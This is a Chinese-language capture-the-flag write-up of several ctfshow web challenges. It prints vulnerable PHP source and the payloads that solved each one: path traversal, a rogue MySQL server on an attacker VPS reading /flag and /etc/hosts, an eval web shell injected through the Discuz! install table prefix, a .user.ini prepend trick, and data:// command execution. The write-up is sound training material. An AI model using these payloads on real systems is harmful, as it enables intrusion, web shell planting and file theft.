喜欢这次baby赛,适合我这种萌萌^^。
0x00 baby_captcha
[无脑] 这里是超链接 指向弱口令字典。数字验证码多刷新几下找个勉强可以听懂的,然后用BP爆破。

0x01 ctfshowcms
首先我一键审计了一下:

从源码可以看到index.php的内容:
<?php
define("ROOT_PATH",__DIR__);
error_reporting(0);
$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;
include('files/'.$want.".php");
$want未对输入的内容做严格过滤,可以使用“../”进行目录穿越。
继续来看一哈install/index.php,完整源码如下:
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}
echo "欢迎安装ctfshowcms~"."<br>";
$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
echo "CMS管理员用户名不能为空!";
exit();
}
if($password==""){
echo "CMS管理员密码不能为空!";
exit();
}
if($dbhost==""){
echo "数据库地址不能为空!";
exit();
}
if($dbuser==""){
echo "数据库用户名不能为空!";
exit();
}
if($dbpwd==""){
echo "数据库密码不能为空!";
exit();
}
if($dbname==""){
echo "数据库名不能为空!";
exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败");
// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );
if(file_exists("ctfshow.sql")){
echo "正在写入数据库!";
}else{
die("sql文件不存在");
}
$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";
file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";
$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
fwrite($of,"ctfshowcms");
}
echo "安装成功!";
开头对安装锁文件进行了检测,但只是检查了当前目录是否有installLock.txt:
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}
结合主页的目录穿越漏洞,可导致系统被二次安装。
在install/index.php中还存在可控的写入处:
$content = "<?php \$DB_HOST='".$dbhost."'; \$DB_USER='".$dbuser."'; \$DB_PWD='".$dbpwd."'; \$DB_NAME='".$dbname."'; ?> "; file_put_contents(ROOT_PATH."/data/settings.php",$content); echo "数据库设置写入成功!~"."<br>";
也未对输入的地方进行过滤,感觉可构造一个非预期逃逸出来,就有点绕就是了。这里有些变量,比如$user和$password都不影响厚,我就随便填了。但是有个坑如果按照默认的settings.php中的数据库登录口令去填会回显数据库连接失败,要换成root/root,结果,呜呜,还是有坑。

这里是绕不过去了,查阅资料得知mysql存在服务端恶意读取客户端任意文件漏洞。因为数据库链接地址、用户名、密码均可控,所以可以利用这个漏洞读取想读取的文件。
在VPS上需要安装mysql:
sudo apt-get install mysql-serversudo apt-get install mysql-clientsudo apt-get install libmysqlclient-dev
查看当前数据库的登录口令:
sudo cat /etc/mysql/debian.cnf
脚本地址:https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改一下结尾行,读取flag:
if __name__ == '__main__':
for name, content in rouge_mysql_sever_read_file(fileName=["/flag", "/etc/hosts"], port=3307,showInfo=True).items():
print(name + ":\n" + content.decode())
运行该脚本,然后在题目中填入VPS的数据库信息,成功读取到了flag。

0x02 应该不难
开局Discuz! X3.5的安装向导,上网可以查到Discuz! X3.5的漏洞资料。
安装时修改前缀为x');phpinfo();@eval($_POST[shaw]);('

安装完毕后,访问config/config_ucenter.php,成功写入shell:

0x03 baby_php
<?php
error_reporting(0);
class fileUtil{
private $name;
private $content;
public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}
public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}
private function waf($input){
return !preg_match('/php/i', $input);
}
public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}
如果绕过$_GET['a']的限制,使其值等于upload的话,即可上传文件,但文件名和文件内容不能存在”php“这三个字符。输入任何字符是绕过不了$_GET['a']的限制的,在本地做个测试:
<?php
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
switch ($action) {
case 'upload':
echo 'upload success!';
break;
case 'download':
echo ' download failed';
break;
default:
echo 'baby come on';
break;
}
?>
输出的是upload success!,因为switch的工作原理是将表达式的值与结构中每个 case 的值进行比较。如果存在匹配,则执行与 case 关联的代码。var_dump(highlight_file(FILE));的结果为真(True),’upload’这个字符串和True比较时结果为真,所以不需要输入任何内容就可以到达想要的地方^^。
因为不允许输入php,可以使用.user.ini绕过。首先上传一个test.gif。
name=test.gif&content=`ls /`;?>
然后传入.user.ini,内容为auto_prepend_file=test.gif
name=.user.ini&content=auto_prepend_file=test.gif
可以看到flag文件的文件名为flag_baby_here_you_are,同操作查看即可。
0x04 完美的缺点
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-31 21:42:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-06-01 00:08:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');
$file_name = substr($_GET['file_name'], 0,16);
$file_content=substr($_GET['file_content'], 0,32);
file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);
if(file_get_contents('php://input')==='ctfshow'){
include($file_name);
}
得到flag的关键:POST一个ctfshow,就可以文件包含了:
if(file_get_contents('php://input')==='ctfshow'){
include($file_name);
}
对$file_name没有内容限制,只有长度限制,可以利用data伪协议达到命令执行的效果。
file_name=data:,<?=`ls`;?>
得到flag文件的文件名为flag.php。因为长度限制在16,所以可以用字数最少的nl去替代,再用通配符查看当前目录下的所有文件。
file_name=data:,<?=`nl+*`;
